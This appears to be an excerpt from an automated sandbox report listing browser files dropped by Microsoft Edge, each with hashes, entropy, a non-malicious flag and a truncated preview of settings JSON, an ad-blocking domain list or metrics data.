Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\6f23463d-41b1-4bfd-acb4-ce4ca8424c20.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089804859049461
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWMdi1zNtPMXkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynAokzItSmd6qE7lFoC
MD5:	C7DFBDCA02B440CCFDDF2DF9ADE742D9
SHA1:	E6EDBA6CEF177AE9A17CE9791091396E5D462654
SHA-256:	9280A8EC2D52FB2FB2CF15E18007A05F41E66B58BDDE736A10F7CFE78958881E
SHA-512:	950BA6BB61F8477D3506FD8B8AACCA30C10D5720FC596C41430715E7BB0AAD388119A105146A99B6C53E47A5F77FFD009FE034270EC19ECA3EE2E35779DC0170
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7b82212e-74c4-42c9-b6cc-e4a205c29e2a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46087
Entropy (8bit):	6.087438690996932
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQc5dKyGWBi1zNtL4pkyJ9m1vaiADEk2Ff07ZWCionJDSgzMMd6qD4r:mMk1rT8H1K74hJ72pLFontSmd6qE73
MD5:	C2BB8E0F85FF341774A4E08211624AE0
SHA1:	260FE2BC5790873AA380CBEB143096F41C752B14
SHA-256:	05394DAD1A5772E387D4E3E8F622F058768E382C665197FB1C465D62E3FEA2C8
SHA-512:	A89DC913785162EA9885AAAF669D16FEFC08E43F8CEA045B35DCA4674A42F4461AEB788A6F8C472E3E51C30530BAF20B3B86DDCD5BF67C0BEEA48EF8D042F68C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376756622732693","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"3c1b890b-d10a-431a-a32f-6741b226bb89"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732283026"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8cb16e79-b9d6-492d-93d8-fb9441f22ff6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44894
Entropy (8bit):	6.095219261033998
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWMii1zNtL4pkyJNWzGnX3NyKJDSgzMMd6qD47u3+CO:+/Ps+wsI7ynL4hJAKtSmd6qE7lFoC
MD5:	6E14354A360C8BA7BE2384DD881B570B
SHA1:	D77450F83D2CE2E84F253C657033FF47C557817B
SHA-256:	86120E2A954B63F1DED9EA14C38C3FCED9F1C14DB4CE6885BE123863F2963F64
SHA-512:	23A6C77F67BE83FDABD2EF441E8BAB33B98495AA1A4D6B0FE1F45DD3372860EFAC2C9913AB9936CB31835095C2CF6B4B0BA235D53E081904A9C068496C6A78F5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\5c489df8-e4f1-42d9-88fa-f6e390d7aa6a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67408A8D-162C.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4580799323804983
Encrypted:	false
SSDEEP:	3072:sFJUI2Ny/0WFPP0WkeQm6kc+YV789qdn4ZcQngeopqKRg1HF1vp4Y3:EUIHn08Q1kc+gIHcQTopqKRaHnvp4O
MD5:	08D41CD8F2B2066E83143CA9C00E8889
SHA1:	0513CAEA36EF2803236C5F80931AD6C9E8715E54
SHA-256:	905F88D50ED2CDC8585149D25462B6433CEA54F75D4C4082AC931490312D4F3F
SHA-512:	5E2CEC8A2D1C48AAEA815E844721E1E4BC88B14FFACCB0EDB5CF37B49D7D6AEB17AFECF5B2F85CF24D0F79495AD108245747316788816397BE3E468122453BA3
Malicious:	false
Preview:	...@..@...@.....C.].....@...................................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".hwtswi20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2............... .2........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0ae941cd-b903-40b6-bd49-3015cc378033.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17591), with no line terminators
Category:	dropped
Size (bytes):	17593
Entropy (8bit):	5.487626635053135
Encrypted:	false
SSDEEP:	384:stycPGQSu4AsyHCDsAOfhN4EKbG1Qwb36:sJOXuJHCR2ibGGU6
MD5:	F22056EF9D20D6387F9AC70B84F7419A
SHA1:	E3A805524B24D284C9382FB019C70E56B8EF51BC
SHA-256:	E322FEBC40AB998581ECF35E75F7D65302A383457D176157CAFFC15E776B83FA
SHA-512:	2A78566B37A2932A2697DC832611F109F2933D012E3D366D2B52C10495FF20A6495C2E1A6D60B936244F550949A6B2412DECAAF55D78DBF3662FE23F395A480A
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376756622671443","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\140bfc88-bd6d-4573-aac6-c011a6ec5e10.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.110049174677219
Encrypted:	false
SSDEEP:	192:styckdpAsyHaFvrE9khHjl8HbV+F5l1QA6UCPQYJ:stycQAsyHCDQbG1QU6
MD5:	E6E0CDE509DCB680A9A1D81055B133A0
SHA1:	DE24F4D398B575916191F0A614CE40276FEB32FA
SHA-256:	2A31C8F2264C8623B8E20E2880BEFE5811596028C9047D18436FA83EF48B267C
SHA-512:	9A1D2C26CF2FA00BD944AE2D8FCEDB22CD5DDE13CD03938CE7E5708B27E38DBFA91710CC9CEA6E3BC8D834ACD50F53269AF94513EE39645971EE6583D052E83E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376756622671443","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1cb64004-7277-4a26-895d-59e35c599801.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\20a97ce4-5b42-4171-91df-ab504e3524eb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17591), with no line terminators
Category:	dropped
Size (bytes):	17593
Entropy (8bit):	5.487749870373043
Encrypted:	false
SSDEEP:	384:stycPGQSu4AsyHCDsAOfhN4EKbG1QwA36:sJOXuJHCR2ibGGZ6
MD5:	84D99E2030BC3B8D6542A6A355EDAA5A
SHA1:	18D75399EB7E3FCCF5AD0990C33718BD5DB6F146
SHA-256:	EA7396A24800AB2E54B9BFCDA3411D799656EF59362EEC06DCD3CEAC02C637E5
SHA-512:	93D50F18A93AE9A41F56D7371B759222797C392F8E368FDEABE595F04737B4AB1597AB9E7FDD8A63AEE10851D378D22DE95CD3631B9AFADD9D01D43D1044ECC7
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376756622671443","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\293f8228-c09a-473e-b764-3d97a70cb527.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\2b260abd-291c-4bc3-912c-112ce84c9eae.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38627
Entropy (8bit):	5.55474323368128
Encrypted:	false
SSDEEP:	768:JFMN+PWg57pLGLPSUW5wvDf4hH8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPS9IJWKbg:JOIPHPcPSUWavDfOHu1ja/+ZwV48gPrw
MD5:	F4DDCD1FEC46A761F2D89E8EAFD95EB8
SHA1:	3840B238CDF2187C6728B0C827518276E71722EB
SHA-256:	8AFA906B31374CD3D18320A0010F1C16081FDA1EB8CFBCB81405D1475CE32000
SHA-512:	27B64A8069B671F6CE91E09E6576A8384005CA674956D8029131F7E21BB4C2E875FD7AA04D0496163D372B0BF6156ADD9FE7991BD6671A818EAE6EE99F695751
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376756622127602","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376756622127602","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\553d0f4c-b5e5-477f-86a9-f90ba56944c7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40470
Entropy (8bit):	5.561216664173217
Encrypted:	false
SSDEEP:	768:JFMN+PWg57pLGLPSUW5wvDf4hH8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPWP+9IJWT:JOIPHPcPSUWavDfOHu1jaLP++ZwV48gO
MD5:	4657B1B7E82B3D971B4504EB3637A361
SHA1:	AFDD5BB30651AA5A9F5A8F9E76080BB265266B69
SHA-256:	1987B7537FE3F7BD532BDE80B7A993C456674EA44A21DC0DC074E6805B7242DA
SHA-512:	116F4C276302105363A86169E3C088F2768C5463BB38B2BB3833155C7ACCD4C070926384AFEE0E094E1519F4ECC8F7B2519DBC01BA19B686C07D49D910DDF4DB
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376756622127602","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376756622127602","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5c022332-5098-4165-881b-41b0756d4c95.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16648), with no line terminators
Category:	dropped
Size (bytes):	16650
Entropy (8bit):	5.451481615202966
Encrypted:	false
SSDEEP:	192:stycJ99QTryDiuabatSuypAsyHaFvrE9khxdN7cK4K9/N4PcIl8HbV+F5l1QwN6x:stycPGQSu4AsyHCDxfhN4EvbG1Qw76
MD5:	CCA0BD64CF9229D55A431F6E208951A5
SHA1:	1A8FD26B69EF5C31C9EBABE512763057B8FC59FE
SHA-256:	9C277FBBB96E6C4BD76A5CDBD0C02109AE8E63D7D7D62DEC69D0312DBD07736E
SHA-512:	54ED1E7EA0B00314385B2CF2ED9B4B332A7C0F294B26E18C39F38717092BFF79617B6B970D0FE5C9048058CB7518D0E75A7AAE84B7E31897DE240BB3A68EFCB4
Malicious:	false
